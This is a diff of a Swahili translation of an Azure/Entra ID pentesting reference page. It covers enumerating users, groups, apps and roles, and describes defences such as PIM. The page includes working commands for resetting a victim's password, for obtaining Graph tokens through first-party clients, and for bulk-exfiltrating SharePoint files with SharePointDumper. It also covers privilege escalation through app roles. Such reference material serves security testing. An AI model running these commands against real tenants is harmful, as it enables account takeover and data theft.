Azure**: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -227,7 +231,7 @@ az account tenant list ### Watumiaji -Kwa habari zaidi kuhusu watumiaji wa Entra ID angalia: +Kwa maelezo zaidi kuhusu watumiaji wa Entra ID angalia: {{#ref}} ../az-basic-information/ @@ -364,9 +368,9 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` -### MFA na Sera za Conditional Access +### MFA & Conditional Access Policies -Inashauriwa sana kuongeza MFA kwa kila mtumiaji, hata hivyo, baadhi ya kampuni hazitai kuisanidi au zinaweza kuiweka kwa Conditional Access: Mtumiaji atakuwa na **MFA itahitajika ikiwa** ataingia kutoka eneo maalumu, kivinjari au **hali fulani**. Sera hizi, ikiwa hazitapangwa vizuri, zinaweza kuwa nyeti kwa **bypasses**. Angalia: +Inashauriwa sana kuongeza MFA kwa kila mtumiaji, hata hivyo, baadhi ya kampuni hazitaiweka au zinaweza kuiweka kwa Conditional Access: Mtumiaji atahitajika **MFA ikiwa** ataingia kutoka eneo maalum, kivinjari au **hali fulani**. Sera hizi, ikiwa hazitawekwa kikamilifu zinaweza kuwa nyeti kwa **bypasses**. Angalia: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -374,7 +378,7 @@ Inashauriwa sana kuongeza MFA kwa kila mtumiaji, hata hivyo, baadhi ya kampuni h ### Vikundi -Kwa maelezo zaidi kuhusu vikundi za Entra ID angalia: +Kwa taarifa zaidi kuhusu vikundi vya Entra ID angalia: {{#ref}} ../az-basic-information/ @@ -481,14 +485,14 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * {{#endtab }} {{#endtabs }} -#### Ongeza mtumiaji kwenye kundi +#### Ongeza mtumiaji kwa kikundi -Wamiliki wa kundi wanaweza kuongeza watumiaji wapya kwenye kundi +Wamiliki wa kikundi wanaweza kuongeza watumiaji wapya kwenye kikundi ```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Makundi yanaweza kuwa dynamic, ambayo kwa kawaida inamaanisha kwamba **ikiwa mtumiaji atakidhi vigezo fulani ataongezwa kwenye kundi**. Bila shaka, ikiwa vigezo vinategemea **sifa** ambazo **mtumiaji** anaweza **kudhibiti**, anaweza kutumia vibaya kipengele hiki ili **kuingia kwenye makundi mengine**.\ +> Makundi yanaweza kuwa dynamic, ambayo kwa msingi inamaanisha kwamba **ikiwa mtumiaji atakidhi masharti fulani ataongezwa kwenye kundi**. Bila shaka, ikiwa masharti yanategemea **sifa** ambazo **mtumiaji** anaweza **kudhibiti**, anaweza kutumia vibaya kipengele hiki ili **kuingia katika makundi mengine**.\ > Angalia jinsi ya kutumia vibaya dynamic groups kwenye ukurasa ufuatao: {{#ref}} @@ -497,7 +501,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ### Service Principals -Kwa maelezo zaidi kuhusu Entra ID service principals angalia: +Kwa habari zaidi kuhusu Entra ID service principals angalia: {{#ref}} ../az-basic-information/ @@ -598,7 +602,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtabs }} > [!WARNING] -> Owner wa Service Principal anaweza kubadilisha nywila yake. +> Mmiliki wa Service Principal anaweza kubadilisha nenosiri lake.
@@ -707,18 +711,18 @@ Write-Output "Failed to Enumerate the Applications." ```
-### Programu +### Applications -Kwa maelezo zaidi kuhusu Programu angalia: +Kwa taarifa zaidi kuhusu Applications angalia: {{#ref}} ../az-basic-information/ {{#endref}} -Wakati App inapotengenezwa, aina mbili za ruhusa hutolewa: +Wakati App inapoundwa aina 2 za ruhusa zinatolewa: - **Ruhusa** zinazotolewa kwa **Service Principal** -- **Ruhusa** ambazo **app** inaweza kuwa nazo na kutumia kwa **niaba ya mtumiaji**. +- **Ruhusa** ambazo **app** inaweza kuwa nazo na kuzitumia kwa **niaba ya mtumiaji**. {{#tabs }} {{#tab name="az cli" }} @@ -771,6 +775,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ``` +
+Pata programu zote zenye ruhusa za API kwa APIs zisizo za Microsoft (az cli) +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Known Microsoft first-party owner organization IDs. +MICROSOFT_OWNER_ORG_IDS=( +"f8cdef31-a31e-4b4a-93e4-5f571e91255a" +"72f988bf-86f1-41af-91ab-2d7cd011db47" +) + +is_microsoft_owner() { +local owner="$1" +local id +for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do +if [ "$owner" = "$id" ]; then +return 0 +fi +done +return 1 +} + +command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } +command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } +az account show >/dev/null + +apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)" + +tmp_map="$(mktemp)" +tmp_ids="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT + +# Build unique resourceAppId values used by applications. +jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" + +# Resolve resourceAppId -> owner organization + API display name. +while IFS= read -r rid; do +[ -n "$rid" ] || continue +sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)" +owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")" +name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" +printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" +done < "$tmp_ids" + +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" + +# Print only app permissions where the target API is NOT Microsoft-owned. +while IFS= read -r row; do +app_name="$(jq -r '.[0]' <<<"$row")" +app_id="$(jq -r '.[1]' <<<"$row")" + +while IFS= read -r rra; do +resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")" +map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")" +owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")" +resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" + +[ -n "$owner_org" ] || owner_org="UNKNOWN" +[ -n "$resource_name" ] || resource_name="UNKNOWN" + +if is_microsoft_owner "$owner_org"; then +continue +fi + +while IFS= read -r access; do +perm_type="$(jq -r '.type' <<<"$access")" +perm_id="$(jq -r '.id' <<<"$access")" +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +done < <(jq -c '.resourceAccess[]' <<<"$rra") +done < <(jq -c '.[2][]' <<<"$row") +done < <(jq -c '.[]' <<<"$apps_json") +``` +
+ {{#endtab }} {{#tab name="Az" }} @@ -820,21 +899,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> App yenye ruhusa **`AppRoleAssignment.ReadWrite`** inaweza **kufikia Global Admin** kwa kujipa mwenyewe jukumu hilo.\ -> Kwa maelezo zaidi [**angalia hapa**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). +> App yenye ruhusa **`AppRoleAssignment.ReadWrite`** inaweza **escalate to Global Admin** kwa kujipa jukumu hilo.\ +> Kwa taarifa zaidi [**angalia hii**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> Mstari wa siri ambao application hutumia kuthibitisha utambulisho wake wakati wa kuomba token ni password ya application.\ -> Kwa hiyo, ukipata **password** hii unaweza kupata ufikiaji kama **service principal** **ndani** ya **tenant**.\ -> Kumbuka kwamba password hii inaonekana tu wakati imeundwa (unaweza kuibadilisha lakini huwezi kuipata tena).\ -> **mmiliki** wa **application** anaweza **kuongeza password** kwake (hivyo anaweza kuitumia kuigiza).\ -> Kuingia kama service principals hizi **hazitawekwa kama hatari** na **hawata kuwa na MFA.** +> Msimbo wa siri ambao application hutumia kuthibitisha utambulisho wake wakati wa kuomba token ni application password.\ +> Kwa hivyo, ukipata **password** hii unaweza kupata ufikiaji kama **service principal** **ndani** ya **tenant**.\ +> Kumbuka kuwa password hii inaonekana tu wakati inatengenezwa (unaweza kuibadilisha lakini huwezi kuipata tena).\ +> Mmiliki wa **application** anaweza **add a password** kwake (hivyo anaweza kuimpersonate).\ +> Logins za service principals hizi **hazitambulishwi kuwa risky** na hazitakuwa na **MFA.** -Inawezekana kupata orodha ya App IDs zinazotumika mara kwa mara ambazo zinamilikiwa na Microsoft katika [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) +Inawezekana kupata orodha ya App IDs zinazotumika sana na zinazomilikiwa na Microsoft katika [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### Managed Identities -Kwa maelezo zaidi kuhusu Managed Identities angalia: +Kwa taarifa zaidi kuhusu Managed Identities angalia: {{#ref}} ../az-basic-information/ @@ -850,9 +929,9 @@ az identity list --output table {{#endtab }} {{#endtabs }} -### Roli za Azure +### Majukumu ya Azure -Kwa taarifa zaidi kuhusu roli za Azure angalia: +Kwa taarifa zaidi kuhusu majukumu ya Azure angalia: {{#ref}} ../az-basic-information/ @@ -939,7 +1018,7 @@ Headers = @{ ### Majukumu ya Entra ID -Kwa maelezo zaidi kuhusu vyeo vya Azure angalia: +Kwa taarifa zaidi kuhusu majukumu ya Azure angalia: {{#ref}} ../az-basic-information/ @@ -1060,12 +1139,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> Ikiwa kifaa (VM) kimeunganishwa na **AzureAD**, watumiaji kutoka AzureAD wataweza **ingia**.\ -> Zaidi ya hayo, ikiwa mtumiaji aliyeingia ni **Owner** wa kifaa, atakuwa **local admin**. +> Ikiwa kifaa (VM) ni **AzureAD joined**, watumiaji kutoka AzureAD wataweza **kuingia**.\ +> Zaidi ya hayo, ikiwa mtumiaji aliyekuwa ameingia ni **Owner** wa kifaa, yeye atakuwa **local admin**. ### Vitengo vya Utawala -Kwa maelezo zaidi kuhusu vitengo vya utawala angalia: +Kwa habari zaidi kuhusu vitengo vya utawala angalia: {{#ref}} ../az-basic-information/ @@ -1100,14 +1179,14 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} -## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper) +## Uondaji wa data ya SharePoint kwa kutumia token za Microsoft Graph zilizoteuliwa (SharePointDumper) -Washambuliaji wenye **delegated Microsoft Graph token** ambayo inajumuisha **`Sites.Read.All`** au **`Sites.ReadWrite.All`** wanaweza kuorodhesha **sites/drives/items** kupitia Graph na kisha **kutoa yaliyomo ya faili** kupitia **SharePoint pre-authentication download URLs** (URLs za muda mfupi zenye token ya ufikiaji iliyojengwa ndani). Skripti ya [SharePointDumper](https://github.com/zh54321/SharePointDumper) inaendesha mchakato wote kiotomatiki (enumeration → pre-auth downloads) na hutolewa telemetry kwa kila ombi kwa ajili ya upimaji wa utambuzi. +Wavamizi waliyo na **token ya Microsoft Graph iliyoteuliwa** inayojumuisha **`Sites.Read.All`** au **`Sites.ReadWrite.All`** wanaweza kuorodhesha **sites/drives/items** kupitia Graph kisha **kutoa yaliyomo ya faili** kupitia **SharePoint pre-authentication download URLs** (URLs zenye muda wa matumizi ambazo zinaingiza access token). Script ya [SharePointDumper](https://github.com/zh54321/SharePointDumper) inaendesha mchakato mzima (enumeration → pre-auth downloads) na hutuma telemetry kwa kila ombi kwa ajili ya upimaji wa utambuzi. -### Kupata delegated token zinazoweza kutumika +### Kupata token za Microsoft Graph zilizoteuliwa zinazoweza kutumika -- SharePointDumper yenyewe **haitoi uthibitisho**; toa access token (kwa hiari refresh token). -- Wateja wa upande wa kwanza waliokubaliwa mapema (Pre-consented) wanaweza kutumika kutengeneza Graph token bila kujiandikisha app. Mfano wa miito ya `Invoke-Auth` (kutoka kwa [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)): +- SharePointDumper yenyewe **haifanyi uthibitishaji**; toa access token (kwa hiari refresh token). +- Wateja wa **first-party** walioidhinishwa mapema wanaweza kutumiwa kuunda token ya Graph bila kusajili app. Mfano wa miito ya `Invoke-Auth` (kutoka kwa [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)): ```powershell # CAE requested by default; yields long-lived (~24h) access token Import-Module ./EntraTokenAid/EntraTokenAid.psm1 @@ -1120,32 +1199,32 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) ``` > [!NOTE] -> Wateja wa FOCI TRUE wanaunga mkono refresh kwenye vifaa; wateja wa FOCI FALSE mara nyingi wanahitaji `-Origin` ili kukidhi reply URL origin validation. +> Wateja wa FOCI TRUE huunga mkono refresh kwenye vifaa mbalimbali; wateja wa FOCI FALSE mara nyingi wanahitaji `-Origin` ili kukidhi uthibitisho wa asili ya reply URL. ### Kuendesha SharePointDumper kwa enumeration + exfiltration -- Dump ya msingi na custom UA / proxy / throttling: +- Basic dump na custom UA / proxy / throttling: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' ``` -- Udhibiti wa wigo: jumuisha/ondoa tovuti au nyongeza na vikwazo vya kimataifa: +- Udhibiti wa upeo: jumuisha/acha nje tovuti au nyongeza na vikwazo vya kimataifa: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 ``` -- **Endesha tena** utekelezaji uliyokatizwa (hupitia tena lakini inaruka vitu vilivyopakuliwa): +- **Endelea** mizunguko iliyokatika (hurudia kuorodhesha lakini anaruka vitu vilivyopakuliwa): ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant ``` -- **Kusasisha token moja kwa moja kwa HTTP 401** (inahitaji EntraTokenAid imepakiwa): +- **Kusasisha token kiotomatiki wakati wa HTTP 401** (inahitaji EntraTokenAid imewekwa): ```powershell Import-Module ./EntraTokenAid/EntraTokenAid.psm1 .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' ``` -Operational notes: +Maelezo ya kiutendaji: -- Inapendelea **CAE-enabled** tokens ili kuepuka kumalizika katikati ya utekelezaji; jaribio za refresh hazirekodiwi katika API log ya zana. -- Inazalisha logi za maombi za **CSV/JSON** kwa **Graph + SharePoint** na kwa chaguo-msingi huficha tokeni za download za SharePoint zilizojumuishwa (zinaweza kubadilishwa). -- Inasaidia **custom User-Agent**, **HTTP proxy**, ucheleweshaji kwa kila ombi + jitter, na kuzima kwa usalama kwa **Ctrl+C** kwa ajili ya kuunda mtiririko wa trafiki wakati wa majaribio ya detection/IR. +- Inapendelea **CAE-enabled** tokens ili kuepuka kumalizika wakati wa kukimbia; jaribio la ku-refresh halirekodiwi katika logi ya API ya zana. +- Inazalisha **CSV/JSON request logs** kwa **Graph + SharePoint** na huzificha token za upakuaji za SharePoint zilizo ndani kwa default (zinaweza kuzimwa/kuwasha). +- Inaunga mkono **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, na **Ctrl+C-safe shutdown** kwa ajili ya kuunda muundo wa trafiki wakati wa majaribio ya utambuzi/IR. ## Entra ID Privilege Escalation @@ -1159,29 +1238,29 @@ Operational notes: ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## Vifaa vya Ulinzi +## Defensive Mechanisms ### Privileged Identity Management (PIM) -Privileged Identity Management (PIM) katika Azure husaidia kuzuia utoaji wa vibali kupita kiasi kwa watumiaji bila sababu. +Privileged Identity Management (PIM) katika Azure husaidia **kuzuia utoaji wa vibali vingi visivyohitajika** kwa watumiaji. -Moja ya vipengele kuu vinavyotolewa na PIM ni kwamba inaruhusu kutokutoa majukumu kwa principals ambao wamo kila wakati, bali kuwafanya wawe **eligible kwa kipindi fulani (km. 6 months)**. Kisha, wakati wowote mtumiaji anapotaka kuamsha jukumu hilo, anahitaji kuomba kwa kuonyesha muda anaohitaji kibali hicho (km. saa 3). Kisha **admin anahitaji kuidhinisha** ombi hilo.\ -Kumbuka mtumiaji pia ataweza kuomba **kuongeza** muda. +Moja ya vipengele kuu vya PIM ni kwamba inaruhusu kutokuwa na ushirikishaji wa roles kwa principals ambao wapo active kwa muda wote, bali kuwafanya wawe **eligible kwa kipindi fulani (mf. miezi 6)**. Kisha, kila wakati mtumiaji anapotaka kuamsha role hiyo, anapaswa kuomba akibainisha muda anaohitaji kibali hicho (mf. masaa 3). Kisha **admin anapaswa kuidhinisha** ombi hilo.\ +Kumbuka kwamba mtumiaji pia ataweza kuomba **kuongezewa** muda. -Zaidi ya hayo, **PIM hutuma barua pepe** kila wakati jukumu lenye hadhi ya juu linapowekwa kwa mtu. +Zaidi ya hayo, **PIM hutuma barua pepe** kila mara role yenye kibali inapopeanwa kwa mtu.
-Wakati PIM imewezeshwa inawezekana kusanidi kila jukumu kwa mahitaji fulani kama: +Wakati PIM imewezeshwa inawezekana kusanidi kila role na mahitaji fulani kama: -- Muda wa juu (saa) wa uanzishaji -- Inahitaji **MFA** wakati wa uanzishaji -- Inahitaji **Conditional Access authentication context** -- Inahitaji sababu/maelezo wakati wa uanzishaji -- Inahitaji taarifa za tiketi wakati wa uanzishaji -- Inahitaji idhini ili kuuamsha -- Muda wa juu kabla uteuzi ulio eligible hautoweka -- Usanidi zaidi kuhusu lini na kwa nani kutuma arifa wakati vitendo fulani vinapotokea na jukumu hilo +- Muda wa juu (masaa) wa uanzishaji +- Kutaka MFA wakati wa uanzishaji +- Kutaka Conditional Access authentication context +- Kutaka justification wakati wa uanzishaji +- Kutaka taarifa za tiketi wakati wa uanzishaji +- Kutaka approval ili kuamsha +- Muda wa juu wa kumalizika kwa uteuzi wenye sifa +- Mipangilio mingi zaidi kuhusu wakati na nani atatumiwa arifa wakati vitendo fulani vinapotokea kwa role hiyo ### Conditional Access Policies @@ -1193,9 +1272,9 @@ Angalia: ### Entra Identity Protection -Entra Identity Protection ni huduma ya usalama inayoruhusu **kubaini wakati mtumiaji au jaribio la sign-in ni hatari sana** kukubaliwa, na kuruhusu **kuzuia** mtumiaji au jaribio la kuingia. +Entra Identity Protection ni huduma ya usalama inayoruhusu **kubaini wakati mtumiaji au sign-in ni hatari kupita kiasi** kuweza kukubaliwa, na kuruhusu **kuzuia** mtumiaji au jaribio la sign-in. -Inamruhusu admin kuisanidi ili **kuzuia** jaribio wakati hatari iko "Low and above", "Medium and above" au "High". Hata hivyo, kwa chaguo-msingi imezimwa kabisa: +Inamruhusu admin kuiweka kusitisha (block) jaribio pale hatari ikiwa "Low and above", "Medium and above" au "High". Hata hivyo, kwa default imezimwa kabisa:
@@ -1204,16 +1283,16 @@ Inamruhusu admin kuisanidi ili **kuzuia** jaribio wakati hatari iko "Low and abo ### Entra Password Protection -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ni kipengele cha usalama kinachosadia **kuzuia matumizi mabaya ya nywila dhaifu kwa kufunga akaunti wakati majaribio kadhaa ya kuingia yaliyoshindwa yanapotokea**.\ -Pia inaruhusu **kupiga marufuku orodha ya nywila maalum** ambayo lazima utoe. +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ni kipengele cha usalama kinachosaidia **kuzuia matumizi mabaya ya nywila dhaifu kwa kufunga akaunti wakati kuna jaribio la kuingia lisilofanikiwa mara nyingi**.\ +Pia inaruhusu **kupiga marufuku orodha ya nywila za kipekee** ambayo unapaswa kutoa. -Inaweza kutumika **katika ngazi ya cloud na pia** katika Active Directory ya on-premises. +Inaweza kutumika **pamoja** kwenye ngazi ya cloud na kwenye Active Directory ya on-premises. -Hali ya chaguo-msingi ni **Audit**: +Mode ya default ni **Audit**:
-## Marejeleo +## References - [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units) - [SharePointDumper](https://github.com/zh54321/SharePointDumper)